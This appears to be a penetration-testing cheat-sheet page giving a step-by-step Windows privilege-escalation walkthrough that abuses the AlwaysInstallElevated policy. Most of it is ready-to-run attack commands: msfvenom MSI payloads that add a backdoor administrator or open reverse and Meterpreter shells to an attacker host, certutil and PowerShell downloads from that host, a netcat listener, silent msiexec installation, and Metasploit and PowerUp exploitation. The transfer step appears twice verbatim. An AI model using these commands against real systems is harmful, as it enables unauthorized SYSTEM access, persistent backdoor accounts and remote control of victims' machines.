Skip to content
HackIndex logo

HackIndex

AlwaysInstallElevated – MSI Installer Privilege Escalation

3 min read Jul 10, 2026

AlwaysInstallElevated is a Windows policy that allows unprivileged users to install MSI packages with SYSTEM privileges. When both the machine and user registry keys are set to 1, any user can run an MSI file that executes as SYSTEM. This is a straightforward misconfiguration — confirm both keys, generate a malicious MSI, install it.

Prerequisites Check

Both registry keys must be set to 1 — check both:

C:\Users\Guest\Desktop> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\Guest\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both must return 0x1. If either is missing or 0x0, the policy is not active and this technique does not apply.

Using PowerUp:

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
PS C:\Users\Guest\Desktop> Get-RegistryAlwaysInstallElevated

winPEAS also checks this automatically:

C:\Users\Guest\Desktop> .\winpeas.exe | findstr /i "AlwaysInstallElevated"

Step 1 — Generate a Malicious MSI

Add admin user (no listener required):

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f msi -o privesc.msi

Reverse shell:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o shell.msi

Meterpreter:

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o meter.msi

Step 2 — Transfer the MSI to Target

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/privesc.msi C:\Windows\Temp\privesc.msi

Or via PowerShell:

PS C:\Users\Guest\Desktop> (New-Object Net.WebClient).DownloadFile("http://$LHOST:8080/privesc.msi", "C:\Windows\Temp\privesc.msi")

Step 2 — Transfer the MSI to Target

C:\Users\Guest\Desktop> certutil -urlcache -split -f http://$LHOST:8080/privesc.msi C:\Windows\Temp\privesc.msi

Or via PowerShell:

PS C:\Users\Guest\Desktop> (New-Object Net.WebClient).DownloadFile("http://$LHOST:8080/privesc.msi", "C:\Windows\Temp\privesc.msi")

Step 3 — Install the MSI

Start your listener if using a reverse shell:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Install the MSI as the current unprivileged user — it automatically elevates to SYSTEM:

C:\Users\Guest\Desktop> msiexec /quiet /qn /i C:\Windows\Temp\privesc.msi

/quiet suppresses the UAC prompt. /qn means no UI. The MSI installs as SYSTEM due to the policy.

Step 4 — Verify

If you used the add-user payload:

C:\Users\Guest\Desktop> net user hacker
C:\Users\Guest\Desktop> net localgroup administrators

Authenticate as the new admin:

C:\Users\Guest\Desktop> runas /user:hacker cmd.exe

Using Metasploit

msf6 > use exploit/windows/local/always_install_elevated
msf6 > set SESSION 1
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST $LHOST
msf6 > run

PowerUp One-Step Exploitation

PS C:\Users\Guest\Desktop> Import-Module .\PowerUp.ps1
 
PS C:\Users\Guest\Desktop> # Write a malicious MSI and install it in one step
PS C:\Users\Guest\Desktop> Write-UserAddMSI
 
PS C:\Users\Guest\Desktop> # Or with custom command
PS C:\Users\Guest\Desktop> Invoke-AllChecks | Where-Object {$_.Check -eq "AlwaysInstallElevated"} | Invoke-ElevatedInstallMSI

Cleanup

Remove the MSI and the added user after escalating:

C:\Users\Guest\Desktop> del C:\Windows\Temp\privesc.msi
C:\Users\Guest\Desktop> net user hacker /delete

References